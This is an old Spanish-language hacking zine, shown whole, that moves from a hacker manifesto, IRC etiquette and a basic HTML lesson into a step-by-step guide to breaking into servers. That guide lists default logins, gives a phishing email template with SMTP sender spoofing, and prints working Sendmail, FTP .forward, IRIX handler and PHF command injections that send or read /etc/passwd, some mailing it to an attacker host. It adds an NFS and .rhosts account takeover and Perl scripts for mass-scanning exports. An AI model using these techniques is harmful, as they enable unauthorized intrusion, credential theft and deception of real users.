_____________________________________________________________________________
    _------------------------------------------------------------------_
 _--   MxHack182 presenta:EL HACKER VERDADERO Y ALGUNOS CURSITOS MAS   --_ !
                         SOLO LO INDISPENSABLE 
  -------------------------------------------------------------------------
__________________________________==-=-==____________________________________

Contenido:
1.-EL HACKER VERDADERO

2.-S UN HACKER EN EL IRC(CHAT)
-Que es IRC
- Que es un OP ?
- Que es un IRCOP ?
- Qu es el "modo invisible" ? y Como ser invisible en el chat

3.-PEQUEO CURSO DE HTML
-Sigue los pasos para hacer una simple pagina web

4.-Accede a los archivos de una pagina web
-Cuentas por defecto
-Ingenieria social
-Conseguir fichero passwd de manera remota con algun bug
-Conseguir directamente una cuenta con un bug
-PHF
-Xploits que te dan una shell remota
-Otros metodos
-----------------------------------------------------------------------------
Espero que esto te sea de utilidad:
                      EL HACKER VERDADERO
Ya despues ten en cuenta lo siguiente:

Nosotros no somos pandilleros de la red, ni un clan maligno que asuste
a cualquier usuario nosotros estamos dispuestos a hacer un gran cambio
en la red, nosotros no somos nios buenos, ni nerds, nosotros tambien
crackeamos, siempre y cuando nos paguen y no valla contra nuestros principios
los cuales son:
1.-Siempre crackear cuando nos paguen, cuando le demos un servicio a la
sociedad, cuando crackeemos computadoras o paginas web del gobierno.
2.-Nunca hacer algo cuando dae a cualquier amigo
3.-Siempre importaran nuestras deciciones y la que tomemos sera la correcta
4.-Y jamas seguir nuestros instintos sino nuestra cabeza
-----------------------------------------------------------------------------

Lo primero que debes hacer es aprender todo lo que puedas que tenga que ver
con el mundo de los hackers (Encontraras informacion en 
http://comunity.cjb.net y en sus links), pero ahi te va una parte de un 
cursito llamdo "s hacker en el chat" (En la siguiente direccion el curso
esta completo en http://comunity.cjb.net):
                       S UN HACKER EN EL CHAT
Que es IRC 

IRC (Internet Relay Chat) proporciona un medio de comunicacin, basado en Internet; inventada por Jarkko Oikarinen en agosto de 1988, en Finlandia. Lo que empez como una pequea tarea para mejorar el trabajo de los BBS en la Universidad de Oulu, fue creciendo hasta convertirse en una de las partes mas importantes de Internet. La comunicacin se produce en tiempo real, es decir uno escribe un mensaje, lo enva y al instante es visualizado por otras personas, que le responden. De esta manera se establecen charlas (chats) sobre los temas mas diversos con personas de todo el mundo. Existen diversas redes de IRC, formadas por servidores (grandes computadoras) que conectan a los usuarios entre si, intercambian sus mensajes, y hacen posible la comunicacin. La red mas grande es EFnet (la red originaria de IRC, muchas veces conteniendo mas de 20.000 usuarios a la vez), seguida por Undernet, DALnet y NewNet. 
Para conectar con una de estas redes, deber usar lo que se llama un programa "cliente", con el que podr comunicar con el servidor IRC. Algo parecido al navegador que se utiliza para visualizar paginas web. Un ejemplo de un programa cliente es el mIRC. Cuando este conectado a una red IRC, uno podr entrar en uno o mas "canales" a la vez para conversar con otras personas. En EFnet, usualmente hay mas de 6.000 canales. Las conversaciones en IRC pueden ser publicas (en las que todas las personas presentes en un canal pueden leer lo que escribe) o privadas (en las que uno habla exclusivamente con solamente una persona en especifico, que este o no en el canal nuestro). 
El que no veamos y no oigamos (tan solo las leemos) a las personas con las que "chateamos", es una de lo grandes atractivos del IRC. Otro atractivo del mIRC, es el de poder contactar con gente que tiene intereses comunes a los nuestros, incluso de otros continentes, al precio de una llamada local. 
Si estas interesado en como poder "chatear" con otras personas, nesesitas un programa cliente, quizas el mas recomendable sea el mIRC. Una vez que lo tengas podes visitar: la gua del mIRC un exelente lugar donde te introduce al maravilloso mundo de la IRC. 
Reglas bsicas para hablar por chat: 

Ejemplo de lo que no deves hacer: 
Entras en el canal: #canaldeunpais que facilmente hay 100 personas y saludas: 

Hola!!!!!!!! 
Hola!!!!!!!! 
Hola!!!!!!!! 
Hola!!!!!!!! 
Hola!!!!!!!! 
Hola!!!!!!!! 
Hola!!!!!!!! 


Y de repente el canal desaparece y ves este mensaje: 

*** You were kicked from #canaldeunpais by desgraop (desgraop) 

Y tratas de entrar y te aparece este otro: 

#canaldeunpais unable to rejoin channel (you're banned!) 

Aunque tu intencin habia sido solo saludar, ocacionaste lo que se llama un flood, al haber entrado y saludado 7 veces como si fueras un tartamudo, o que tuvieras el mal de parkinson. Te preguntaras que es "flood", en castellano inundacion, se produce cuando se manda mucha informacin a la vez, pero si vos solo mandaste 7 lineas, como puede ser? En los servidores hay por lo general cerca de 2500 usuarios y si todos mandan 7 lineas a la vez se produciria un caos enorme. Aunque dificilmente se produciria esto, si no se tiene un control estricto conrespecto a las repeticiones la red terminaria siendo un caos. 

Otro ejemplo: 
Entras en un canal y saludas: 

HOLA TODOS!!! SALUDOS DESDE PUERO RICO!!!! Y de repente de vuelta para afuera, el motivo? Segun la tradicin las mayusculas representan gritos, por lo que a nadie le gusta que le griten, el uso de las mayusculas no es aceptado en una conversacin normal. 

Siguiente ejemplo:
Dentro de un canal insultas a otro usuario:

hijo de puta!!! 

Oviamente estas afuera, el por que? Por respeto a los demas y sobre todos a las pequeas almas, que cada da que pasa su nmero aumenta cada vez ms, se prohibe el uso de las malas palabras o groserias. 

Un nuevo ejemplo:
Entras y escribes:

Hola todos!!! 

Sin dudarlo estas afuera, y ahora? Resulta que en ese mensaje estas usando "vallas", mandando tres lineas de golpes ms los colores, esto es otro ejemplo de flood. Naturalmente el uso de este tipo de mensajes esta prohibido. Tampoco es conveniente usar colores, negrita o subrayado en gran cantidad. 
----------------------------------------------------------------------------
 Que es un OP ? 

Los canales tienen moderadores denominados operadores o "OP", los cuales
controlan el canal, decidiendo quien puede tener acceso (expulsando
permanentemente ("banning") algunos usuarios, quien debe salir del canal
, expulsando ("kicking") algunos usuarios, y hasta quien tiene derecho a
hablar! Los operadores de un canal tienen el control completo del canal,
y sus decisiones son definitivas. Si usted es expulsado permanentemente,
mndele un mensaje a un operador pidindole de buena manera que le permita
volver a entrar en el canal. 

Pueden haber varios OP's en un canal. En la lista de gente que esta
en un canal, se distinguen los OP, porque su nick lleva delante el signo
@. Solo hay una forma de llegar a ser OP del canal en el que se encuentre,
y es que uno de los OP del canal le haga OP a usted. ? Y quien les ha
hecho OP's a ellos ? Cuando se crea un canal nuevo, se entra como OP del
mismo. As- que seguramente uno de los Op's del canal fue el que creo el
canal.
----------------------------------------------------------------------------

 Que es un IRCOP ? 

Los servidores IRC son cuidados por operadores de IRC, o "IRC ops." Los operadores IRC administran los servidores y no se envuelven en asuntos personales en los canales. No son "policas del IRC." o no deberan serlo. Estos usuarios son op en todos los canales donde entren. 
----------------------------------------------------------------------------
 Qu es el "modo invisible" ? 

Existe una forma especial de estar en el IRC, llamada "modo invisible". Bueno no se haga ilusiones, si esta pensando que esto le permitira estar dentro de un canal, incluso participando en el, sin que los demas lo vean, algo asi como una especie de fantasma, PUES NO, ESO NO SE PUEDE HACER ( y menos mal !). 

El "modo invisible" consiste en que si usted esta en modo invisible y alguien consulta desde fuera del canal el listado de personas que hay en el (usando el comando /names #canal o /who #canal) no le vera. Sin embargo, si entra en el canal, si que le vera. 

Tambien si alguien intenta un /whois nick, le vera aunque este en modo invisible. 

 De que sirve entonces estar en "modo invisible" ? Pues la verdad, ciertamente de poco, solo aade un poco de discrecion por su parte, poniendo las cosas un poquitito mas dificiles a quien le ande buscando. 
----------------------------------------------------------------------------
SE INVISIBLE EN EL CHAT

Para ponerse en modo invisible use el comando... 

/mode nick +i 

Ejemplos: 

Si su nick es Byte y quiere estar en modo invisible debera hacer esto... 

/mode Byte +i
----------------------------------------------------------------------------

                            PEQUEO CURSO DE HTML
1.-Necesitas un titulo para tu web
2.-En civitatis.com/es suscribete, luego hazle click en login, despues inserta
lo que te pide para acceder a tu cuenta, despues de entrar a tu cuenta 
dale en crear nuevo fichero utilizando HTML Estandar.
2.-Tu pagina debe tener fondo negro o azul marino inserta lo siguiente:
Fondo negro:<body bgcolor=BLACK> Azul marino:<body bgcolor=000080>
3.-Para poner el titulo a tu web pon lo siguiente:
<font face=arial size=3 color=RED><strong>Titulo de tu web</strong></font>
4.-Para poner lo que aprendiste en la web con una letrachica, que facilita
su lectura y su navegacion muy buena!! pon lo siguiente:
<font size=1 face=arial color=#FFFFFF><strong>Lo que aprendiste</strong></font>
5.-Para poner un enter osea seguir escribiendo en otra linea pon lo
siguiente:
<font size=1 face=arial color=#FFFFFF><strong>
Lo que aprendiste
<br>
Otra cosa
</strong></font>
Y el resultado sera este:
Lo que aprendiste
Otra cosa

6.-Ahora para poner un link (enlace) le pones lo siguiente:
<a href="http://www.La direccion que quieras.com">La direccion que quieras</a>
(eso hara que cuando hagas click te lleve a la direccion que pusiste entre
<a href=" ">.
Y para que un texto no se junte con un link por eso pones al ultimo del link
</a>
7.-Despues pon:
</strong></font>
</body>
</html>
(podras encontrar un curso completo en
http://comunity.cjb.net) para poder difundir tus conocimientos por
la red puse el cursito de como hacer una web, nunca difundas contenido
cracker, difunde contenido hacker(podras encontrar mucho sobre hackers
en http://comunity.cjb.net y ensu seccion de links), debes defender siempre
tu posicion difunde que los hackers son personas interesadas en aprender,
difunde noticias del mundo de los hackers, difunde informacion de viruses,
difunde todo para ayudar a los proximos hackers enzeales pero en tu web,
nunca hagas un texto recopilado de muchos textos(Si haces eso ya seras
lammer para toda tu vida)
----------------------------------------------------------------------------
                    Accede a los archivos de una pagina web

- Cuentas por defecto


Este es un metodo de locos y solo lo has de usar si vas muy perdido o si estas 
muy desesperado ya que raras veces funcionan. Sinceramente, yo no las he 
comprobado ya que nunca uso este metodo por lo que agradeceria vuestras 
rectificaciones para posteriores ediciones del texto. Incluso hay sistemas 
operativos muy raros que no se si seran viejos pero yo las incluyo todos por si 
a alguien les sirven de algo. En posteriores ediciones ya se hara un filtrado :o)

Aqui estan para varios sistemas:


Cuentas defaults en general:

adm
admin
ann
anon
anonymous/anonymous
backup
batch
bin
checkfsys
daemon
demo
diag
field
ftp
games
guest/guest
guest/anonymous
help
install
listen
lp
lpadmin
maint
makefsys
mountfsys
network
news
nobody
nuucp
nuucpa
operator
powerdown
printer
pub
public
reboot
rje
rlogin
root
sa
setup
shutdown
startup
sync
sys/sys
sysadm
sysadmin
sysbin/sysbin   sysbin/bin
sysman
system
tech
test
trouble
tty
umountfsys
user/user   user1/user1
uucp
uucpa
visitor
root/root
root/system
sys/sys
sys/system
daemon/daemon
uucp/uucp
tty/tty
test/test
unix/unix
unix/test
bin/bin
adm/adm
adm/admin
admin/adm
admin/admin
sysman/sysman
sysman/sys
sysman/system
sysadmin/sysadmin
sysadmin/sys
sysadmin/system
sysadmin/admin
sysadmin/adm
who/who
learn/learn
uuhost/uuhost
guest/guest
host/host
nuucp/nuucp
rje/rje
games/games
games/player
sysop/sysop
root/sysop
demo/demo
decnet/ddennet
guest/friend
field/service
guest/welcome
system/manager
default/user
decnet/nonpriv
field/digital
field/test
postmaster/mail
sysmaint/service
sysmaint/digital
system/operator
system/manager
system/syslib
system/uetp
systest_clig/systest
userp/user
sysadmin/admin
daemon/daemon
sysbin/sysbin

AIX

guest           guest


DECserver

Access
System


VMS

autolog1/autolog o autolog1
cms/cms
cmsbatch/cms o cmsbatch
erep/erep
maint/maint o maintain
operatns/operatns o operator
operator/operator
rscs/rscs
smart/smart
sna/sna
vmtest/vmtest
vmutil/vmutil
vtam/vtam
field/service
systest/utep
systest_clig/systest
systest_clig/uetp


PRIME

Prime/prime
Prime/primos
Primos/primos
Primos/prime
primos_cs/prime
primos_cs/primos
primenet/primenet
system/system
system/prime
system/primos
netlink/netlink
test/test
guest/guest
guest1/guest


DEC10

1,2:        SYSLIB or OPERATOR or MANAGER
2,7:        MAINTAIN
5,30:       GAMES


SGI Irix

4DGifts
guest
demos
lp
nuucp
tour
tutor
accounting
boss
demo
manager
pdp8
pdp11
software



- INGENIERIA SOCIAL


Bien, este no es un metodo de hack en el sentido que todos pensais... no tiene 
nada que ver con informatica ni con ordenadores ni tcp/ip ni unix ni nada de 
eso sino que simplemente consiste en ser un poco picaro ;o).

La ingenieria social se basa en que hay mucha gente por ahi que tiene una 
cuenta (tanto de un proveedor de internet como una shell) y que no esta muy 
alerta jeje. En fin, como os comento hay varios metodos para obtener cuentas 
usando ingenieria social, aqui simplemente cuento algunos para que os hagais 
una idea pero cada uno que piense y su imaginacion le dara algunos truquillos 
mas.

En fin, el metodo e-mail es el mas importante por el que sera el que mas 
desarrollaremos en este texto aunque tambien se podria hacer por telefono. La 
idea es sencilla.. enviar un mail (anonimo) a alguien para que te de el login y el 
password. Parece dificil que traguen, no?.. pues os puedo asegurar que no lo 
es. }-)

Simplemente envia un mail de este estilo:

Estimado seor Lopez:  (Importante conocer la identidad de la persona para 
darle mas confianza)

El objeto de este correo electronico es comunicarle que debido a mantener la 
seguridad de nuestro sistema victima.com, se requiere que envie un mail con 
sus datos personales y su login y su password ya que en nuestro sistema es 
muy importante la seguridad y deseamos mantenerla con estos chequeos 
rutinarios.

Agradeciendo su atencion se despide

Pepito Rodriguez   pepito@victima.com
Administrador del sistema victima.com


Para enviar un mail para falsear el remitente, lo que se debe hacer es hacer un 
telnet a una maquina unix que tenga el puerto 25 abierto y dar los siguientes 
pasos:

Lo primero que se ha de hacer es un telnet maquinacon25.com 25, cuando te 
diga que ya estas conectado, has de hacer:

helo ingenieria@social.com >pleased to meet ingenieria@social.com

Tras esto has de decir quien quieres que aparezca como remitente con el 
comando mail from:

mail from: ingenieria@social.com

         > ingenieria@social.com... Sender is valid.

Si sale esto, todo va bien.. por lo que tendras que indicar quien es el 
destinatario usando el comando rcpt


rcpt to: bill@gates.com

         > "bill@gates.com"... Recipient okay

Tras esto, lo que se ha de hacer es indicar el mensaje en si con el comando 
data y cuando quieras acabar pones un . en una linea.. algo asi:


         data

         > Enter mail, end with "." on a line by itself

Hola Bill
.

         > Mail accepted

Con esto el mensaje ya esta enviado, y para cerrar la conexion has de usar 
quit.

         > connection is closed.

En realidad con esto no se consigue un mail anonimo sino que lo que 
consigues es especificar el remitente que tu quieres. Para enviar mail anonimo 
has de usar servidores de correo anonimo o hacer este mensaje enlazando 
unos mails con otros.

Para saber si un servidor es anonimo has de hacer:

HELO servidor@anonimo.com

Y si cuando el servidor responde no aparece tu IP por ningun lado, entonces es 
un servidor anonimo o pseudoanonimo.


Este texto puede estar mucho mas elaborado.. pero ya os servira para ver la 
idea y creedme este metodo funciona y por otro lado no es complicado de 
hacer ;o)

La pregunta ahora es... como sabemos los telefonos o los mails de la gente de 
victima.com???. Bien, hay varias respuestas.. muchas veces por casualidad 
(un vecino, un compaero de clase, etc), otras pasandotelas otro hacker ( a 
saber de donde vendran !) y algunos metodos mas entre los que destacaria el 
finger. El finger es el puerto 79 y si el host victima.com lo tiene abierto, 
simplemente telnetealo y usando finger -l @victima.com sacaras informacion 
sobre la gente que esta concectada a victima.com asi como otra informacion 
interesante como su email. Luego puedes ir probando con finger -l 
nombre_usuario@victima.com con lo que obtendras aun mas informacion del 
sistema.

Tambien se puede hacer finger root@victima.com , guest@victima.com, etc 
con lo que obtendras informacion sobre ellos aunque no esten conectados.

Tambien se ha de tener en cuenta que a veces el puerto 79 esta abierto pero 
no te da informacion. Esto puede ser porque esta usando tcp-wrappers, pero 
eso es tema aparte, simplemente lo comento para que sepais que os puede 
pasar.

Este metodo, y usando este script, os puede hacer conseguir muchos 
passwords pero hay que currarselo mucho :o(. Obviamente, solo pensando un 
poco se te pueden ocurrir muchas mas maneras de aprovechar el finger ya que 
da bastante informacion sobre los usuarios aunque esta informacion cuando es 
realmente util es combinada con otros sistemas de ataque :)

Hay muchos mas sistemas de ingenieria social como la chica necesitada de 
ayuda en el irc y cosas parecidas, pero tampoco creo que valga demasiado la 
pena explicarlo mas. Ademas, como en todos estos temas, el unico limite es tu 
imaginacion :o)

Como es pesado buscar manualmente, puedes buscar maquinas con finger 
usando un script hecho en shell y usando listas de hosts como las que se 
explicaran en el apartado de nfs.

Ademas, para los que veais que este metodo es un poco coazo, el script este 
siempre es util ya que tened en cuenta que las maquinas que tengan el finger 
abierto son maquinas que no estan muy concienciadas por la seguridad no?.. 
jeje.. mejor no sigo dando ideas   :o) aunque tened en cuenta que esto no 
siempre sera cierto ya que es posible que usen los tcp-wrappers.

Nota: El tcp-wrapper es un programa que permite filtrar ip por los distintos 
puertos e indicar que demonio o programa se ejecuta en cada uno de los 
puertos por lo que podeis ver todas las aplicaciones maleficas que pueden 
conseguir los roots usando este tipo de programas por lo que cuidado ahi fuera.



- CONSEGUIR FICHERO DE PASSWD A TRAVES DE 
ALGUN BUG


En fin, hay muchos bugs y xploits que te permiten el acceso al fichero de 
passwd pero aqui voy a exponer algunos que aunque son antiguos son 
bastante ilustrativos (para pillar xploits nuevos, a buscar por la red ke hay 
muchos.. de todos modos, en los apartados de pillar root, pondre xploits 
modernos y que funcionan ;o).. estos los he elegido aunque sean un poco 
antiguos porque son bastante ilustrativos:

Sistemas: Unix's en general, espacialmente AIX y SUNOS 
Versiones: Sendmail, versiones anteriores a la 5.57 que no esten parcheadas
 tumaquina% telnet victima.com 25 
 Trying X.Y.Z.A...
 Connected to victima.com  
 Escape character is '^]'.
 220 victima.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
 mail from: "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"
 250 "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"... Sender ok
 rcpt to: loquequieras
 550 loquequieras... User unknown
 data
 354 Enter mail, end with "." on a line by itself
 .
 250 Mail accepted
 quit
 Connection closed by foreign host.


Notas:
-victima.com = nombre del ordenador a hackear
-mimaquina = nombre de nuestro ordenador
-Lo que aparece con un numero delante son mensajes de nuestra victima, 
el resto es lo que tienes que escribir.

La idea de este bug, es que usualmente, en el sendmail en la linea de mail 
from: pondrias pepe@uno.es , pero sin embargo, y la gracia esta aqui, le dices 
que te mande el fichero /etc/passwd. Pero os digo una cosa sinceramente, este 
bug no funciona casi nunca, y si funciona, felicidades , estas en una maquina 
que el rOOt no tiene ni puta idea,


Como conseguir el fichero /etc/passwd si el ftp esta mal configurado

La victima debe de tener una copia completa del fichero /etc/passwd en su ftp 
anonimo -ftp/etc en vez de una version reducida. Sin embargo, puedes ver que 
normalmente nunca aparece el fichero verdadero :( , pero el home directory de 
"ftp" puede ser escribible en victim.com. Esto te permite ejecutar comandos 
remotamente - en este caso, mandarte el archivo por mail a ti mismo - por el 
simple metodo de crear un archivo .forward que ejecuta un comando cuando un 
mail es mandado a la cuenta "ftp".

evil % cat forward_sucker_file
 "|/bin/mail zen@evil.com < /etc/passwd"

 evil % ftp victim.com
 Connected to victim.com
 220 victim FTP server ready.
 Name (victim.com:zen): ftp
 331 Guest login ok, send ident as password.
 Password:
 230 Guest login ok, access restrictions apply.
 ftp> ls -lga
 200 PORT command successful.
 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
 total 5
 drwxr-xr-x  4 101      1             512 Jun 20  1991 .
 drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
 drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
 drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
 drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
 226 ASCII Transfer complete.
 242 bytes received in 0.066 seconds (3.6 Kbytes/s)
 ftp> put forward_sucker_file .forward
 43 bytes sent in 0.0015 seconds (28 Kbytes/s)
 ftp> quit
 evil % echo test | mail ftp@victim.com

Ahora simplemente tienes que esperar a que el fichero de passwords te sea 
enviado.


Ejecutar comandos de manera remota en Irix con cgi-bin/handler

El cgi-bin/handler en los sistemas IRIX permite la lectura y escritura de ficheros. 
Sin embargo existe un bug que da paso a la ejecucion remota de comandos. El 
sistema intentara abrir el fichero (taluego_Lucas) y si no existe dara un 
mensaje de error para a continuacion ejecutar el comando que sigue. Muy 
importante, el espacio entre el comando cat y su argumento es un *tabulador* 
(TAB), no se admiten espacios asi que aunque podeis poner otro comando que 
no sea cat no podreis poner ningun comando que requiera espacios.

        $ telnet victima.com 80
        $ GET /cgi-bin/handler/taluego_Lucas;cat   /etc/passwd|?data=Download
        $ HTTP/1.0

En IRIX 6.3 se intento arreglar esto pero lo unico que se consiguio fue que el
formato del bug pase a ser:

        $telnet victima.com 80
        $GET /cgi-bin/handler/whatever;cat    /etc/passwd|   ?data=Download
        $HTTP/1.0

Con un nuevo TAB para "engaar" al script PERL.


Hay muchos mas, pero no me apetece seguir buscando.. quiza para 
posteriores ediciones...ademas en esta categoria tambien entra el PHF que 
esta explicado mas adelante.


- MOUNT


Este no es un bug, sino un defecto de configuracion del NFS. Aqui voy a 
intentar explicarlo extensamente para que sepais lo que estais haciendo:

El NFS (Network File System) es un sistema de red que permite que una 
maquina servidor pueda hacer disponibles sistemas de archivos y dispositivos 
perifericos a maquinas clientes. Asi, la maquina cliente podra montar esos 
directorios pudiendolos usar como si los poseyera.

Otra cosa muy distinta es lo que se pueda hacer con los ficheros incluidos en 
dichos directorios (si se pueden borrar, modificar, alterar los permisos, etc), lo 
cual depende de la configuracion del NFS. En realidad, no es dificil configurar 
el NFS para que no pueda haber problemas de seguridad, usando las opciones 
ro y rw en la configuracion que indican que clientes tienen acceso de lectura y 
escritura respectivamente. Por tanto, los problemas aparecen cuando no han 
sido utlidas estas opciones correctamente y cualquier usuario remoto puede 
leer y escribir... gracias a dios hay root que dan facilidades :o)

Mount es el comando en unix que permite montar archivos en tu maquina para 
conseguir el objetivo expuesto anteriormente.

Para ver si una maquina remota con NFS tiene files montables se hace siendo 
root en la maquina donde estas usando el comando showmount. Este comando 
se utiliza para determinar que sistema ha montado un sistema de archivos 
desde un sistema dado. Con el parametro -a muestra todos los sistemas de 
archivos que se han montado desde el nodo servidor mientras que el comando 
-e muestra la lista de todos los sistemas de archivos exportados.

Como root, has de ejecutar en tu maquina:

$root> showmount -e hostvictima.com
mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive

Si la respuesta es algo de este estilo... quiere decir que no ha habido suerte :o(

$root> showmount -e otra.net
Export list for otra.net:
/var/mail                                        makina1.otra.net
/home/user1                                      makina1.otra.net
/usr/local                                       pluto.seva.net,rover.seva.net
/export/X11R6.3                                  makina2.otra.net
/export/rover                                    makina1.otra.net,makina2.otra.net

En esta maquina no hay accesos del tipo everyone que sean interesantes :o( .. 
bueno con otras tecnicas mas avanzadas si.. pero no son el objeto de este 
texto ;o)

Seguimos buscando hasta que encontremos una maquina victim.com que nos 
ponga algo del tipo

/home			(everyone)
o
/			(everyone)

BINGO!!!!!

Una vez pillemos una makina de estas caracteristicas, se pueden hacer 
muchas cosas pero voy a explicar el metodo tipico expuesto en los textos de 
hacking aunque pensando un poko se te pueden okurrir otros :)

Lo que vamos a hacer es crear una cuenta rapper (rapper es el nombre de un 
usuario de la maquina remota.. para cada caso sera uno distinto) en nuestro 
fichero de passwd local ( es decir, el de nuestra maquina) y luego como usuario 
rapper ( cambiamos a ese usuario con el su) pondremos una entra .rhosts en 
su directorio home para poder hacer un rlogin sin password.

Primero, creamos el directorio donde lo vamos a montar

mimaquina:~>mkdir /tmp/mount
mimaquina:~>mount -nt nfs victim.com:/home /tmp/mount/

y con esto ya tendremos montado el directorio de la maquina remota en 
nuestra maquina local con lo que haciendo un ls en /tmp/mount veremos todos 
sus archivos :o)

mimaquina:~>ls -lsa /tmp/mount/
total 9
   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
   1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
   1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/
   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/
   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
   1 drwx------   3 test     100          1024 Oct  8 21:05 test/
   1 drwx------  15 102      100          1024 Oct 20 18:57 rapper/

Vemos que hay un usuario llamado rapper cuyo UID (User Identification) es 
102 por lo que lo tendremos que incluir en el /etc/passwd de nuestra maquina:

mimaquina:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd

mimaquina:~>su - rapper
Welcome to rapper's user.
mimaquina:~>ls -lsa /tmp/mount/
   total 9
   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
   1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
   1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/
   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/
   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
   1 drwx------   3 test     100          1024 Oct  8 21:05 test/
   1 drwx------  15 rapper   daemon       1024 Oct 20 18:57 rapper/

Asi, poseemos el directorio de rapper por lo que podemos usar las propiedades 
del .rhosts ( escribimos + + en su .rhosts y luego hacemos un rlogin):

mimaquina:~>echo "+ +" > rapper/.rhosts
mimaquina:~>cd /
mimaquina:~>rlogin -l rapper victima.com
Welcome to Victima.Com.
SunOs ver....(crap).
victima:~$

y ya tienes una cuenta en el sistema !

Para desmontar el archivo, sal de este directorio y ejecuta:

mimaquina:~> umount /tmp/mount

Tened en cuenta que para este metodo, hemos de tener acceso a la maquina 
por rlogin, asi que si no es el caso, este metodo tambien admite otras 
posibilidades pero eso se deja para otro texto :)


Como lo mas coazo de este metodo es buscar maquinas con ficheros 
exportables, a continuacion expongo un script escrito por Invisble Evil en perl 
que te permite buscar automaticamente. Para usarlo previamente se han de 
conseguir listas de maquinas que se pueden obtener usando el host -l 
nombredominio > salida y luego usando un script para obtener los ip del fichero 
salida o se pueden obtener listas de maquinas que hay en internic (se obtienen 
por ftp de rs.internic.net) y que son listas de maquinas con esa extension:


com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

cuando tengas estos files bajados y tras hacer un gunzip, tendras que ejecutar 
el script en perl:

"perl getdomain.pl com.zone com >com.all"
perl getdomain.pl edu.zone edu >edu.all

Y asi con todos, obteniendo ficheros com.all, edu.all y sucesivamente donde 
tendras la lista de maquinas.

getdomain.pl
---- cut here
#!/usr/bin/perl

# GetDomain By Nfin8 / Invisible Evil
# Questions /msg i-e  or  /msg i^e
#
# Retrieve command line arguments.
my($inputfile, $domain) = @ARGV;
usage() if (!defined($inputfile) || !defined($domain));

# Open and preprocess the input file.
open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n");
my(@lines) = <INFILE>;

# Initialize main data structure.
my(%hash) = {};
my($key) = "";

foreach (@lines) {
  $key = (split(/\ /))[0];
  chop($key);
  next if ((($key =~ tr/.//) < 1) || 
            (uc($domain) ne uc(((split(/\./, $key))[-1]))) || 
            ($key =~ m/root-server/i));
  $hash{$key}++;
}

# Close input file and output data structure to STDOUT.
close(INFILE);

foreach (sort(keys(%hash))) {
  print "$_\n";
}

sub usage {
  print("\n\ngetdomain:\n");
  print("Usage: getdomain [inputfile] [search]\n\n");
  print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n");
  exit(0);
}
  
0;
  
---- cut here - end of script -----


Tras obtener la lista de maquinas usando el anterior script (edu.all, com.all, 
etc..), se ha de usar el script que se expone a continuacion para obtener los 
resultados del showmount -e:

En cada dominio, este script busca si hay discos montables y guarda la info en 
el directorio actual en ficheros llamados domain.XXX.export... asi solo tienes 
que ver estos logs y mirar si ha habido suerte !!!!



 
--------------- start of cmount.pl
#/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net - 2/27/97.

# Assign null list to @URLs which will be added to later.
my(@result) = ();
my(@domains) = ();
my($program) = "showmount -e ";

# Pull off filename from commandline. If it isn't defined, then assign default.
my($DomainFilename) = shift;
$DomainFilename = "domains" if !defined($DomainFilename);

# Do checking on input.
die("mountDomains: $DomainFilename is a directory.\n") if (-d 
$DomainFilename);
 
# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or 
  die("mountDomains: Cannot open $DomainFilename for input.\n");
  
while (<DOMAINFILE>) {
  chomp($_);
  print "Now checking: $_";

  # Note difference in program output capture from "geturl.pl".  
  open (EXECFILE, "$program $_ |");
  @execResult = <EXECFILE>;
  next if (!defined($execResult[0]));
  if ($execResult[0] =~ /^Export/) {
    print " - Export list saved.";
    open (OUTFILE, ">$_.export");
    foreach (@execResult) {
      print OUTFILE;
    }
    close (OUTFILE);
  }
  close(EXECFILE);
  print "\n";
}
  
# We are done. Close all files and end the program.
close (DOMAINFILE);

0;
----------------- end of cmount.pl


Una nota final a todo este coazo, lo pongo aqui para que solo lo lean los que 
se leen los textos enteros (jeje) es que /export/foo es el home directory del 
usuario guest por lo que aunque no nos dejen exportar el directorio /home, en 
caso de que nos dejen exportar el directorio /export, se podra aplicar este 
mismo metodo pero teniendo en cuenta de que en lugar de usar el usuario 
rapper se usara el usuario guest


suerte ahi fuera......



-PHF


Este sistema es antiguo y ampliamente conocido por todo el mundo, pero 
aunque parezca mentira sigue funcionando y por ello lo expongo en este texto.

El phf es un fichero que se encuentra en el directorio /cgi-bin de maquinas unix 
que ofrezcan este servicio y sirve para buscar direcciones, pero habilmente 
utilizado puede servir para ejecutar comandos remotos sobre dicha maquina 
pero no se pueden usar pipes, quotes, etc. En este texto nos vamos a centrar 
en su uso para la obtencion del fichero passwd de un sistema aunque 
pensando un poco se le pueden dar otras aplicaciones bastante interesantes ya 
que te permite ejecutar comandos en la maquina victima.

Vamos a empezar comentando el uso mas extendido para luego dar otras 
ayudas para su uso asi como otras aplicaciones:

Asi, escribe en tu navegador:

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
